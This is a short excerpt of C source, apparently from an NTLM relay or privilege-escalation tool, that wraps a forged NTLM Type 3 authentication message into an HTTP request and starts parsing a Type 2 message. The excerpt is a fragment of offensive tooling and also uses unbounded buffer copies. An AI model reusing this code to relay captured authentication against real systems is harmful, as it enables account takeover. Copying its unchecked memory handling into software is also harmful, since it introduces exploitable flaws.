| 140 | } |
| 141 | |
| 142 | char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp) { |
| 143 | char httpPacketTemplate[] = "GET / HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n"; |
| 144 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN); |
| 145 | int b64ntlmLen; |
| 146 | char httpIp_a[20]; |
| 147 | memset(httpIp_a, 0, 20); |
| 148 | wcstombs(httpIp_a, httpIp, 20); |
| 149 | char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen); |
| 150 | char b64ntlm[DEFAULT_BUFLEN]; |
| 151 | memset(b64ntlm, 0, DEFAULT_BUFLEN); |
| 152 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen); |
| 153 | *httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpIp_a, b64ntlm); |
| 154 | return httpPacket; |
| 155 | } |
| 156 | |
| 157 | void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len) { |
| 158 | char b64Type2[DEFAULT_BUFLEN]; |
no test coverage detected